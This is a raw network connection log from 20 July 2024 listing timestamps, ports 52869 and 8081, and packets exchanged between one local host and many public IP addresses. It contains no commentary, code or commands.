Jul 20, 2024 23:01:02.683516979 CEST	49909	52869	192.168.2.14	25.157.50.217
Jul 20, 2024 23:01:02.683516979 CEST	49909	52869	192.168.2.14	166.244.146.70
Jul 20, 2024 23:01:02.683800936 CEST	8081	50165	133.138.30.82	192.168.2.14
Jul 20, 2024 23:01:02.683804989 CEST	8081	50165	173.159.186.163	192.168.2.14
Jul 20, 2024 23:01:02.683809996 CEST	8081	50165	37.42.171.254	192.168.2.14
Jul 20, 2024 23:01:02.683818102 CEST	8081	50165	128.37.79.13	192.168.2.14
Jul 20, 2024 23:01:02.683821917 CEST	8081	50165	72.59.175.128	192.168.2.14
Jul 20, 2024 23:01:02.683825970 CEST	8081	50165	212.240.235.211	192.168.2.14
Jul 20, 2024 23:01:02.683844090 CEST	50165	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:02.683844090 CEST	50165	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:02.683866024 CEST	50165	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:02.683866024 CEST	50165	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:02.683882952 CEST	50165	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:02.683882952 CEST	50165	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:02.684355021 CEST	8081	50165	87.1.206.253	192.168.2.14
Jul 20, 2024 23:01:02.684359074 CEST	8081	50165	150.169.132.104	192.168.2.14
Jul 20, 2024 23:01:02.684367895 CEST	8081	50165	115.149.76.115	192.168.2.14
Jul 20, 2024 23:01:02.684372902 CEST	8081	50165	64.151.76.247	192.168.2.14
Jul 20, 2024 23:01:02.684381008 CEST	8081	50165	68.236.19.214	192.168.2.14
Jul 20, 2024 23:01:02.684385061 CEST	8081	50165	71.246.161.243	192.168.2.14
Jul 20, 2024 23:01:02.684397936 CEST	8081	50165	85.253.229.196	192.168.2.14
Jul 20, 2024 23:01:02.684401035 CEST	8081	50165	138.222.149.56	192.168.2.14
Jul 20, 2024 23:01:02.684406042 CEST	8081	50165	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:02.684408903 CEST	8081	50165	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:02.684412003 CEST	50165	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:02.684412956 CEST	8081	50165	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:02.684412003 CEST	50165	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:02.684412003 CEST	50165	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:02.684412003 CEST	50165	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:02.684412003 CEST	50165	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:02.684420109 CEST	8081	50165	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:02.684428930 CEST	8081	50165	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:02.684432983 CEST	8081	50165	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:02.684441090 CEST	8081	50165	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:02.684451103 CEST	8081	50165	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:02.684454918 CEST	8081	50165	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:02.684458971 CEST	8081	50165	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:02.684465885 CEST	8081	50165	145.253.154.42	192.168.2.14
Jul 20, 2024 23:01:02.684474945 CEST	52869	49909	5.55.81.148	192.168.2.14
Jul 20, 2024 23:01:02.684478045 CEST	52869	49909	197.206.212.146	192.168.2.14
Jul 20, 2024 23:01:02.684490919 CEST	50165	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:02.684490919 CEST	50165	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:02.684490919 CEST	50165	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:02.684492111 CEST	52869	49909	184.92.135.1	192.168.2.14
Jul 20, 2024 23:01:02.684490919 CEST	50165	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:02.684490919 CEST	50165	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:02.684490919 CEST	50165	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:02.684490919 CEST	50165	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:02.684582949 CEST	50165	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:02.684582949 CEST	50165	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:02.684582949 CEST	50165	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:02.684582949 CEST	50165	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:02.684582949 CEST	50165	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:02.684582949 CEST	50165	8081	192.168.2.14	145.253.154.42
Jul 20, 2024 23:01:02.684582949 CEST	50165	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:02.684582949 CEST	49909	52869	192.168.2.14	5.55.81.148
Jul 20, 2024 23:01:02.684596062 CEST	52869	49909	138.208.127.223	192.168.2.14
Jul 20, 2024 23:01:02.684600115 CEST	52869	49909	41.32.133.155	192.168.2.14
Jul 20, 2024 23:01:02.684603930 CEST	52869	49909	102.100.239.31	192.168.2.14
Jul 20, 2024 23:01:02.684633970 CEST	49909	52869	192.168.2.14	197.206.212.146
Jul 20, 2024 23:01:02.684633970 CEST	49909	52869	192.168.2.14	184.92.135.1
Jul 20, 2024 23:01:02.684633970 CEST	49909	52869	192.168.2.14	138.208.127.223
Jul 20, 2024 23:01:02.684633970 CEST	49909	52869	192.168.2.14	41.32.133.155
Jul 20, 2024 23:01:02.684633970 CEST	49909	52869	192.168.2.14	102.100.239.31
Jul 20, 2024 23:01:02.684844971 CEST	52869	49909	66.199.81.78	192.168.2.14
Jul 20, 2024 23:01:02.684849977 CEST	52869	49909	119.167.63.83	192.168.2.14
Jul 20, 2024 23:01:02.684859037 CEST	52869	49909	200.15.138.16	192.168.2.14
Jul 20, 2024 23:01:02.684863091 CEST	52869	49909	196.44.90.255	192.168.2.14
Jul 20, 2024 23:01:02.684870958 CEST	52869	49909	5.171.45.191	192.168.2.14
Jul 20, 2024 23:01:02.684875011 CEST	52869	49909	51.49.96.51	192.168.2.14
Jul 20, 2024 23:01:02.684879065 CEST	52869	49909	95.62.231.97	192.168.2.14
Jul 20, 2024 23:01:02.684881926 CEST	49909	52869	192.168.2.14	66.199.81.78
Jul 20, 2024 23:01:02.684883118 CEST	52869	49909	223.250.58.175	192.168.2.14
Jul 20, 2024 23:01:02.684886932 CEST	52869	49909	189.229.191.162	192.168.2.14
Jul 20, 2024 23:01:02.684890032 CEST	52869	49909	209.104.253.182	192.168.2.14
Jul 20, 2024 23:01:02.684900045 CEST	49909	52869	192.168.2.14	119.167.63.83
Jul 20, 2024 23:01:02.684900045 CEST	49909	52869	192.168.2.14	200.15.138.16
Jul 20, 2024 23:01:02.684900045 CEST	49909	52869	192.168.2.14	51.49.96.51
Jul 20, 2024 23:01:02.684900045 CEST	49909	52869	192.168.2.14	95.62.231.97
Jul 20, 2024 23:01:02.684902906 CEST	52869	49909	142.59.5.152	192.168.2.14
Jul 20, 2024 23:01:02.684906960 CEST	52869	49909	38.152.233.89	192.168.2.14
Jul 20, 2024 23:01:02.684915066 CEST	52869	49909	107.46.255.10	192.168.2.14
Jul 20, 2024 23:01:02.684919119 CEST	52869	49909	91.9.116.6	192.168.2.14
Jul 20, 2024 23:01:02.684921980 CEST	49909	52869	192.168.2.14	223.250.58.175
Jul 20, 2024 23:01:02.684921980 CEST	49909	52869	192.168.2.14	189.229.191.162
Jul 20, 2024 23:01:02.684921980 CEST	49909	52869	192.168.2.14	209.104.253.182
Jul 20, 2024 23:01:02.684921980 CEST	49909	52869	192.168.2.14	196.44.90.255
Jul 20, 2024 23:01:02.684926987 CEST	52869	49909	32.57.228.77	192.168.2.14
Jul 20, 2024 23:01:02.684936047 CEST	52869	49909	187.106.41.16	192.168.2.14
Jul 20, 2024 23:01:02.684940100 CEST	52869	49909	101.224.29.56	192.168.2.14
Jul 20, 2024 23:01:02.684954882 CEST	49909	52869	192.168.2.14	38.152.233.89
Jul 20, 2024 23:01:02.684954882 CEST	49909	52869	192.168.2.14	5.171.45.191
Jul 20, 2024 23:01:02.684954882 CEST	49909	52869	192.168.2.14	142.59.5.152
Jul 20, 2024 23:01:02.684954882 CEST	49909	52869	192.168.2.14	107.46.255.10
Jul 20, 2024 23:01:02.684954882 CEST	49909	52869	192.168.2.14	32.57.228.77
Jul 20, 2024 23:01:02.684954882 CEST	49909	52869	192.168.2.14	91.9.116.6
Jul 20, 2024 23:01:02.684954882 CEST	49909	52869	192.168.2.14	187.106.41.16
Jul 20, 2024 23:01:02.685036898 CEST	49909	52869	192.168.2.14	101.224.29.56
Jul 20, 2024 23:01:02.686737061 CEST	52869	49909	124.108.153.49	192.168.2.14
Jul 20, 2024 23:01:02.686741114 CEST	52869	49909	122.24.194.162	192.168.2.14
Jul 20, 2024 23:01:02.686749935 CEST	52869	49909	32.84.84.99	192.168.2.14
Jul 20, 2024 23:01:02.686781883 CEST	49909	52869	192.168.2.14	122.24.194.162
Jul 20, 2024 23:01:02.686781883 CEST	49909	52869	192.168.2.14	32.84.84.99
Jul 20, 2024 23:01:02.686830044 CEST	49909	52869	192.168.2.14	124.108.153.49
Jul 20, 2024 23:01:02.686901093 CEST	50165	8081	192.168.2.14	188.183.125.45
Jul 20, 2024 23:01:02.686901093 CEST	50165	8081	192.168.2.14	110.127.96.109
Jul 20, 2024 23:01:02.686901093 CEST	50165	8081	192.168.2.14	125.252.224.34
Jul 20, 2024 23:01:02.686901093 CEST	50165	8081	192.168.2.14	197.206.243.110
Jul 20, 2024 23:01:02.686901093 CEST	50165	8081	192.168.2.14	191.60.94.193
Jul 20, 2024 23:01:02.686934948 CEST	52869	49909	90.190.16.171	192.168.2.14
Jul 20, 2024 23:01:02.686939001 CEST	52869	49909	163.143.217.47	192.168.2.14
Jul 20, 2024 23:01:02.686948061 CEST	52869	49909	104.234.37.98	192.168.2.14
Jul 20, 2024 23:01:02.686952114 CEST	52869	49909	174.63.182.222	192.168.2.14
Jul 20, 2024 23:01:02.686964035 CEST	52869	49909	118.158.87.140	192.168.2.14
Jul 20, 2024 23:01:02.686971903 CEST	52869	49909	185.249.28.84	192.168.2.14
Jul 20, 2024 23:01:02.686975002 CEST	49909	52869	192.168.2.14	163.143.217.47
Jul 20, 2024 23:01:02.686975002 CEST	49909	52869	192.168.2.14	90.190.16.171
Jul 20, 2024 23:01:02.686975956 CEST	52869	49909	18.170.188.20	192.168.2.14
Jul 20, 2024 23:01:02.686980009 CEST	52869	49909	43.118.130.176	192.168.2.14
Jul 20, 2024 23:01:02.686983109 CEST	52869	49909	118.99.96.127	192.168.2.14
Jul 20, 2024 23:01:02.686986923 CEST	52869	49909	54.8.147.227	192.168.2.14
Jul 20, 2024 23:01:02.686990976 CEST	52869	49909	146.89.200.217	192.168.2.14
Jul 20, 2024 23:01:02.686994076 CEST	52869	49909	58.121.166.65	192.168.2.14
Jul 20, 2024 23:01:02.686995983 CEST	49909	52869	192.168.2.14	104.234.37.98
Jul 20, 2024 23:01:02.686995983 CEST	49909	52869	192.168.2.14	174.63.182.222
Jul 20, 2024 23:01:02.686995983 CEST	49909	52869	192.168.2.14	118.158.87.140
Jul 20, 2024 23:01:02.687002897 CEST	52869	49909	185.246.39.67	192.168.2.14
Jul 20, 2024 23:01:02.687006950 CEST	52869	49909	113.120.199.189	192.168.2.14
Jul 20, 2024 23:01:02.687011003 CEST	52869	49909	174.209.71.118	192.168.2.14
Jul 20, 2024 23:01:02.687016010 CEST	49909	52869	192.168.2.14	185.249.28.84
Jul 20, 2024 23:01:02.687016010 CEST	49909	52869	192.168.2.14	43.118.130.176
Jul 20, 2024 23:01:02.687016010 CEST	49909	52869	192.168.2.14	118.99.96.127
Jul 20, 2024 23:01:02.687016010 CEST	49909	52869	192.168.2.14	18.170.188.20
Jul 20, 2024 23:01:02.687064886 CEST	50165	8081	192.168.2.14	71.245.74.241
Jul 20, 2024 23:01:02.687064886 CEST	50165	8081	192.168.2.14	146.191.41.45
Jul 20, 2024 23:01:02.687064886 CEST	50165	8081	192.168.2.14	122.59.159.28
Jul 20, 2024 23:01:02.687064886 CEST	50165	8081	192.168.2.14	194.244.225.218
Jul 20, 2024 23:01:02.687064886 CEST	50165	8081	192.168.2.14	42.91.131.109
Jul 20, 2024 23:01:02.687064886 CEST	50165	8081	192.168.2.14	168.26.203.243
Jul 20, 2024 23:01:02.687064886 CEST	50165	8081	192.168.2.14	17.179.34.94
Jul 20, 2024 23:01:02.687064886 CEST	50165	8081	192.168.2.14	93.220.42.205
Jul 20, 2024 23:01:02.687114000 CEST	49909	52869	192.168.2.14	54.8.147.227
Jul 20, 2024 23:01:02.687114000 CEST	49909	52869	192.168.2.14	58.121.166.65
Jul 20, 2024 23:01:02.687114000 CEST	49909	52869	192.168.2.14	113.120.199.189
Jul 20, 2024 23:01:02.687114000 CEST	49909	52869	192.168.2.14	146.89.200.217
Jul 20, 2024 23:01:02.687114000 CEST	49909	52869	192.168.2.14	185.246.39.67
Jul 20, 2024 23:01:02.687114000 CEST	49909	52869	192.168.2.14	174.209.71.118
Jul 20, 2024 23:01:02.687203884 CEST	52869	49909	2.206.38.50	192.168.2.14
Jul 20, 2024 23:01:02.687207937 CEST	52869	49909	113.5.66.230	192.168.2.14
Jul 20, 2024 23:01:02.687216043 CEST	52869	49909	18.131.184.211	192.168.2.14
Jul 20, 2024 23:01:02.687220097 CEST	52869	49909	31.231.217.13	192.168.2.14
Jul 20, 2024 23:01:02.687227964 CEST	52869	49909	157.2.25.73	192.168.2.14
Jul 20, 2024 23:01:02.687236071 CEST	52869	49909	90.220.175.74	192.168.2.14
Jul 20, 2024 23:01:02.687239885 CEST	52869	49909	209.44.36.200	192.168.2.14
Jul 20, 2024 23:01:02.687243938 CEST	52869	49909	95.152.222.158	192.168.2.14
Jul 20, 2024 23:01:02.687257051 CEST	52869	49909	114.16.252.220	192.168.2.14
Jul 20, 2024 23:01:02.687264919 CEST	52869	49909	90.19.110.18	192.168.2.14
Jul 20, 2024 23:01:02.687268972 CEST	50165	8081	192.168.2.14	199.27.126.177
Jul 20, 2024 23:01:02.687269926 CEST	52869	49909	166.191.236.101	192.168.2.14
Jul 20, 2024 23:01:02.687268972 CEST	50165	8081	192.168.2.14	128.98.75.83
Jul 20, 2024 23:01:02.687268972 CEST	50165	8081	192.168.2.14	131.30.62.30
Jul 20, 2024 23:01:02.687268972 CEST	50165	8081	192.168.2.14	32.51.133.108
Jul 20, 2024 23:01:02.687268972 CEST	50165	8081	192.168.2.14	49.3.242.248
Jul 20, 2024 23:01:02.687268972 CEST	50165	8081	192.168.2.14	218.132.101.171
Jul 20, 2024 23:01:02.687269926 CEST	50165	8081	192.168.2.14	172.91.30.42
Jul 20, 2024 23:01:02.687269926 CEST	50165	8081	192.168.2.14	156.18.108.26
Jul 20, 2024 23:01:02.687278032 CEST	52869	49909	35.156.193.156	192.168.2.14
Jul 20, 2024 23:01:02.687283039 CEST	52869	49909	73.177.155.127	192.168.2.14
Jul 20, 2024 23:01:02.687287092 CEST	49909	52869	192.168.2.14	2.206.38.50
Jul 20, 2024 23:01:02.687288046 CEST	49909	52869	192.168.2.14	113.5.66.230
Jul 20, 2024 23:01:02.687288046 CEST	49909	52869	192.168.2.14	31.231.217.13
Jul 20, 2024 23:01:02.687288046 CEST	49909	52869	192.168.2.14	18.131.184.211
Jul 20, 2024 23:01:02.687288046 CEST	49909	52869	192.168.2.14	157.2.25.73
Jul 20, 2024 23:01:02.687288046 CEST	49909	52869	192.168.2.14	90.220.175.74
Jul 20, 2024 23:01:02.687288046 CEST	49909	52869	192.168.2.14	95.152.222.158
Jul 20, 2024 23:01:02.687292099 CEST	52869	49909	112.136.152.217	192.168.2.14
Jul 20, 2024 23:01:02.687473059 CEST	50165	8081	192.168.2.14	36.69.31.43
Jul 20, 2024 23:01:02.687473059 CEST	50165	8081	192.168.2.14	45.220.53.245
Jul 20, 2024 23:01:02.687473059 CEST	50165	8081	192.168.2.14	142.162.197.169
Jul 20, 2024 23:01:02.687473059 CEST	50165	8081	192.168.2.14	77.22.161.206
Jul 20, 2024 23:01:02.687473059 CEST	50165	8081	192.168.2.14	79.96.115.193
Jul 20, 2024 23:01:02.687473059 CEST	50165	8081	192.168.2.14	109.213.13.149
Jul 20, 2024 23:01:02.687473059 CEST	50165	8081	192.168.2.14	142.39.188.166
Jul 20, 2024 23:01:02.687479019 CEST	49909	52869	192.168.2.14	209.44.36.200
Jul 20, 2024 23:01:02.687479019 CEST	49909	52869	192.168.2.14	114.16.252.220
Jul 20, 2024 23:01:02.687479019 CEST	49909	52869	192.168.2.14	90.19.110.18
Jul 20, 2024 23:01:02.687479019 CEST	49909	52869	192.168.2.14	166.191.236.101
Jul 20, 2024 23:01:02.687479019 CEST	49909	52869	192.168.2.14	35.156.193.156
Jul 20, 2024 23:01:02.687479019 CEST	49909	52869	192.168.2.14	73.177.155.127
Jul 20, 2024 23:01:02.687479019 CEST	49909	52869	192.168.2.14	112.136.152.217
Jul 20, 2024 23:01:02.687541962 CEST	52869	49909	93.158.64.201	192.168.2.14
Jul 20, 2024 23:01:02.687546968 CEST	52869	49909	40.129.3.139	192.168.2.14
Jul 20, 2024 23:01:02.687556028 CEST	52869	49909	175.177.77.177	192.168.2.14
Jul 20, 2024 23:01:02.687638044 CEST	49909	52869	192.168.2.14	40.129.3.139
Jul 20, 2024 23:01:02.687638044 CEST	49909	52869	192.168.2.14	93.158.64.201
Jul 20, 2024 23:01:02.687638044 CEST	49909	52869	192.168.2.14	175.177.77.177
Jul 20, 2024 23:01:02.687791109 CEST	52869	49909	60.194.103.60	192.168.2.14
Jul 20, 2024 23:01:02.687796116 CEST	52869	49909	8.159.212.205	192.168.2.14
Jul 20, 2024 23:01:02.687809944 CEST	52869	49909	166.72.13.183	192.168.2.14
Jul 20, 2024 23:01:02.687818050 CEST	52869	49909	162.130.19.28	192.168.2.14
Jul 20, 2024 23:01:02.687822104 CEST	52869	49909	210.19.110.10	192.168.2.14
Jul 20, 2024 23:01:02.687834024 CEST	49909	52869	192.168.2.14	60.194.103.60
Jul 20, 2024 23:01:02.687834024 CEST	49909	52869	192.168.2.14	8.159.212.205
Jul 20, 2024 23:01:02.687834024 CEST	49909	52869	192.168.2.14	166.72.13.183
Jul 20, 2024 23:01:02.687841892 CEST	52869	49909	87.168.254.99	192.168.2.14
Jul 20, 2024 23:01:02.687850952 CEST	52869	49909	41.193.249.90	192.168.2.14
Jul 20, 2024 23:01:02.687854052 CEST	49909	52869	192.168.2.14	162.130.19.28
Jul 20, 2024 23:01:02.687854052 CEST	49909	52869	192.168.2.14	210.19.110.10
Jul 20, 2024 23:01:02.687855005 CEST	52869	49909	158.162.151.192	192.168.2.14
Jul 20, 2024 23:01:02.687859058 CEST	52869	49909	20.182.162.218	192.168.2.14
Jul 20, 2024 23:01:02.687868118 CEST	52869	49909	161.63.169.26	192.168.2.14
Jul 20, 2024 23:01:02.687870979 CEST	49909	52869	192.168.2.14	87.168.254.99
Jul 20, 2024 23:01:02.687871933 CEST	52869	49909	140.96.169.217	192.168.2.14
Jul 20, 2024 23:01:02.687880039 CEST	49909	52869	192.168.2.14	41.193.249.90
Jul 20, 2024 23:01:02.687880039 CEST	49909	52869	192.168.2.14	158.162.151.192
Jul 20, 2024 23:01:02.687880993 CEST	52869	49909	111.171.199.241	192.168.2.14
Jul 20, 2024 23:01:02.687885046 CEST	52869	49909	12.96.172.61	192.168.2.14
Jul 20, 2024 23:01:02.687887907 CEST	52869	49909	134.128.189.87	192.168.2.14
Jul 20, 2024 23:01:02.687896013 CEST	52869	49909	135.145.234.156	192.168.2.14
Jul 20, 2024 23:01:02.687899113 CEST	49909	52869	192.168.2.14	20.182.162.218
Jul 20, 2024 23:01:02.687899113 CEST	49909	52869	192.168.2.14	161.63.169.26
Jul 20, 2024 23:01:02.687905073 CEST	52869	49909	44.239.73.142	192.168.2.14
Jul 20, 2024 23:01:02.687912941 CEST	52869	49909	165.248.34.71	192.168.2.14
Jul 20, 2024 23:01:02.687912941 CEST	49909	52869	192.168.2.14	140.96.169.217
Jul 20, 2024 23:01:02.687912941 CEST	49909	52869	192.168.2.14	111.171.199.241
Jul 20, 2024 23:01:02.687912941 CEST	49909	52869	192.168.2.14	12.96.172.61
Jul 20, 2024 23:01:02.687917948 CEST	52869	49909	133.212.239.230	192.168.2.14
Jul 20, 2024 23:01:02.687931061 CEST	49909	52869	192.168.2.14	134.128.189.87
Jul 20, 2024 23:01:02.687931061 CEST	49909	52869	192.168.2.14	135.145.234.156
Jul 20, 2024 23:01:02.687944889 CEST	49909	52869	192.168.2.14	44.239.73.142
Jul 20, 2024 23:01:02.687944889 CEST	49909	52869	192.168.2.14	165.248.34.71
Jul 20, 2024 23:01:02.687982082 CEST	52869	49909	185.102.177.83	192.168.2.14
Jul 20, 2024 23:01:02.687985897 CEST	52869	49909	124.219.56.186	192.168.2.14
Jul 20, 2024 23:01:02.687994957 CEST	52869	49909	59.130.35.228	192.168.2.14
Jul 20, 2024 23:01:02.687999010 CEST	52869	49909	80.4.210.111	192.168.2.14
Jul 20, 2024 23:01:02.688002110 CEST	49909	52869	192.168.2.14	133.212.239.230
Jul 20, 2024 23:01:02.688002110 CEST	52869	49909	126.141.223.239	192.168.2.14
Jul 20, 2024 23:01:02.688005924 CEST	52869	49909	145.175.73.95	192.168.2.14
Jul 20, 2024 23:01:02.688014030 CEST	49909	52869	192.168.2.14	185.102.177.83
Jul 20, 2024 23:01:02.688014030 CEST	52869	49909	106.8.87.229	192.168.2.14
Jul 20, 2024 23:01:02.688018084 CEST	52869	49909	75.42.78.169	192.168.2.14
Jul 20, 2024 23:01:02.688021898 CEST	49909	52869	192.168.2.14	124.219.56.186
Jul 20, 2024 23:01:02.688021898 CEST	49909	52869	192.168.2.14	59.130.35.228
Jul 20, 2024 23:01:02.688026905 CEST	52869	49909	196.192.76.110	192.168.2.14
Jul 20, 2024 23:01:02.688036919 CEST	49909	52869	192.168.2.14	80.4.210.111
Jul 20, 2024 23:01:02.688036919 CEST	49909	52869	192.168.2.14	126.141.223.239
Jul 20, 2024 23:01:02.688036919 CEST	49909	52869	192.168.2.14	145.175.73.95
Jul 20, 2024 23:01:02.688055038 CEST	49909	52869	192.168.2.14	106.8.87.229
Jul 20, 2024 23:01:02.688055038 CEST	49909	52869	192.168.2.14	75.42.78.169
Jul 20, 2024 23:01:02.688055038 CEST	49909	52869	192.168.2.14	196.192.76.110
Jul 20, 2024 23:01:02.688455105 CEST	52869	49909	196.99.53.104	192.168.2.14
Jul 20, 2024 23:01:02.688460112 CEST	52869	49909	107.168.106.66	192.168.2.14
Jul 20, 2024 23:01:02.688468933 CEST	52869	49909	47.220.24.147	192.168.2.14
Jul 20, 2024 23:01:02.688499928 CEST	52869	49909	18.225.17.211	192.168.2.14
Jul 20, 2024 23:01:02.688504934 CEST	52869	49909	70.150.20.82	192.168.2.14
Jul 20, 2024 23:01:02.688513041 CEST	52869	49909	183.3.222.95	192.168.2.14
Jul 20, 2024 23:01:02.688517094 CEST	49909	52869	192.168.2.14	47.220.24.147
Jul 20, 2024 23:01:02.688517094 CEST	49909	52869	192.168.2.14	107.168.106.66
Jul 20, 2024 23:01:02.688517094 CEST	49909	52869	192.168.2.14	196.99.53.104
Jul 20, 2024 23:01:02.688519955 CEST	52869	49909	77.4.194.155	192.168.2.14
Jul 20, 2024 23:01:02.688536882 CEST	52869	49909	112.181.221.208	192.168.2.14
Jul 20, 2024 23:01:02.688541889 CEST	52869	49909	208.96.78.135	192.168.2.14
Jul 20, 2024 23:01:02.688541889 CEST	49909	52869	192.168.2.14	18.225.17.211
Jul 20, 2024 23:01:02.688541889 CEST	49909	52869	192.168.2.14	70.150.20.82
Jul 20, 2024 23:01:02.688541889 CEST	49909	52869	192.168.2.14	77.4.194.155
Jul 20, 2024 23:01:02.688541889 CEST	49909	52869	192.168.2.14	183.3.222.95
Jul 20, 2024 23:01:02.688544989 CEST	52869	49909	107.49.13.1	192.168.2.14
Jul 20, 2024 23:01:02.688575029 CEST	49909	52869	192.168.2.14	208.96.78.135
Jul 20, 2024 23:01:02.688575029 CEST	49909	52869	192.168.2.14	112.181.221.208
Jul 20, 2024 23:01:02.688575029 CEST	49909	52869	192.168.2.14	107.49.13.1
Jul 20, 2024 23:01:02.688585043 CEST	52869	49909	182.56.221.239	192.168.2.14
Jul 20, 2024 23:01:02.688590050 CEST	52869	49909	202.66.101.97	192.168.2.14
Jul 20, 2024 23:01:02.688592911 CEST	52869	34388	34.37.107.29	192.168.2.14
Jul 20, 2024 23:01:02.688623905 CEST	49909	52869	192.168.2.14	182.56.221.239
Jul 20, 2024 23:01:02.688623905 CEST	49909	52869	192.168.2.14	202.66.101.97
Jul 20, 2024 23:01:02.688657045 CEST	34388	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:02.689368963 CEST	50165	8081	192.168.2.14	66.162.115.91
Jul 20, 2024 23:01:02.689368963 CEST	50165	8081	192.168.2.14	193.4.31.63
Jul 20, 2024 23:01:02.689786911 CEST	50165	8081	192.168.2.14	130.78.54.39
Jul 20, 2024 23:01:02.689786911 CEST	50165	8081	192.168.2.14	141.45.240.208
Jul 20, 2024 23:01:02.689786911 CEST	50165	8081	192.168.2.14	128.101.253.255
Jul 20, 2024 23:01:02.689786911 CEST	50165	8081	192.168.2.14	181.205.215.242
Jul 20, 2024 23:01:02.689786911 CEST	50165	8081	192.168.2.14	129.16.64.102
Jul 20, 2024 23:01:02.689786911 CEST	50165	8081	192.168.2.14	218.90.189.145
Jul 20, 2024 23:01:02.689786911 CEST	50165	8081	192.168.2.14	198.245.106.187
Jul 20, 2024 23:01:02.689786911 CEST	50165	8081	192.168.2.14	173.38.3.235
Jul 20, 2024 23:01:02.689857006 CEST	49909	52869	192.168.2.14	81.93.219.233
Jul 20, 2024 23:01:02.689857006 CEST	49909	52869	192.168.2.14	107.86.167.139
Jul 20, 2024 23:01:02.689857006 CEST	49909	52869	192.168.2.14	165.212.97.95
Jul 20, 2024 23:01:02.689857006 CEST	49909	52869	192.168.2.14	102.239.98.164
Jul 20, 2024 23:01:02.689857006 CEST	49909	52869	192.168.2.14	186.201.205.157
Jul 20, 2024 23:01:02.689857006 CEST	49909	52869	192.168.2.14	109.70.196.233
Jul 20, 2024 23:01:02.689857006 CEST	49909	52869	192.168.2.14	112.142.51.236
Jul 20, 2024 23:01:02.689857006 CEST	49909	52869	192.168.2.14	139.201.100.61
Jul 20, 2024 23:01:02.689944983 CEST	49909	52869	192.168.2.14	48.252.200.104
Jul 20, 2024 23:01:02.689944983 CEST	49909	52869	192.168.2.14	86.33.181.163
Jul 20, 2024 23:01:02.689944983 CEST	49909	52869	192.168.2.14	174.82.15.85
Jul 20, 2024 23:01:02.689944983 CEST	49909	52869	192.168.2.14	207.146.178.131
Jul 20, 2024 23:01:02.689944983 CEST	49909	52869	192.168.2.14	89.248.51.127
Jul 20, 2024 23:01:02.689945936 CEST	49909	52869	192.168.2.14	88.219.146.230
Jul 20, 2024 23:01:02.689945936 CEST	49909	52869	192.168.2.14	126.27.222.139
Jul 20, 2024 23:01:02.689945936 CEST	49909	52869	192.168.2.14	2.144.155.42
Jul 20, 2024 23:01:02.690043926 CEST	49909	52869	192.168.2.14	58.71.28.94
Jul 20, 2024 23:01:02.690043926 CEST	49909	52869	192.168.2.14	209.43.2.181
Jul 20, 2024 23:01:02.690043926 CEST	49909	52869	192.168.2.14	76.192.206.145
Jul 20, 2024 23:01:02.690043926 CEST	49909	52869	192.168.2.14	118.222.20.40
Jul 20, 2024 23:01:02.690043926 CEST	49909	52869	192.168.2.14	148.4.0.19
Jul 20, 2024 23:01:02.690043926 CEST	49909	52869	192.168.2.14	216.22.142.202
Jul 20, 2024 23:01:02.690043926 CEST	49909	52869	192.168.2.14	160.85.13.217
Jul 20, 2024 23:01:02.690043926 CEST	49909	52869	192.168.2.14	95.160.238.137
Jul 20, 2024 23:01:02.690140963 CEST	49909	52869	192.168.2.14	4.240.53.49
Jul 20, 2024 23:01:02.690140963 CEST	49909	52869	192.168.2.14	98.100.147.39
Jul 20, 2024 23:01:02.690140963 CEST	49909	52869	192.168.2.14	89.163.197.193
Jul 20, 2024 23:01:02.690140963 CEST	49909	52869	192.168.2.14	62.3.26.203
Jul 20, 2024 23:01:02.690140963 CEST	49909	52869	192.168.2.14	27.121.152.99
Jul 20, 2024 23:01:02.690140963 CEST	49909	52869	192.168.2.14	119.17.140.57
Jul 20, 2024 23:01:02.690140963 CEST	49909	52869	192.168.2.14	120.174.208.231
Jul 20, 2024 23:01:02.690140963 CEST	49909	52869	192.168.2.14	174.230.46.108
Jul 20, 2024 23:01:02.690237999 CEST	49909	52869	192.168.2.14	223.8.0.161
Jul 20, 2024 23:01:02.690238953 CEST	49909	52869	192.168.2.14	128.194.14.167
Jul 20, 2024 23:01:02.690238953 CEST	49909	52869	192.168.2.14	51.42.109.46
Jul 20, 2024 23:01:02.690238953 CEST	49909	52869	192.168.2.14	220.231.44.5
Jul 20, 2024 23:01:02.690238953 CEST	49909	52869	192.168.2.14	158.50.42.225
Jul 20, 2024 23:01:02.690238953 CEST	49909	52869	192.168.2.14	141.76.73.30
Jul 20, 2024 23:01:02.690238953 CEST	49909	52869	192.168.2.14	40.116.176.118
Jul 20, 2024 23:01:02.690238953 CEST	49909	52869	192.168.2.14	205.134.34.10
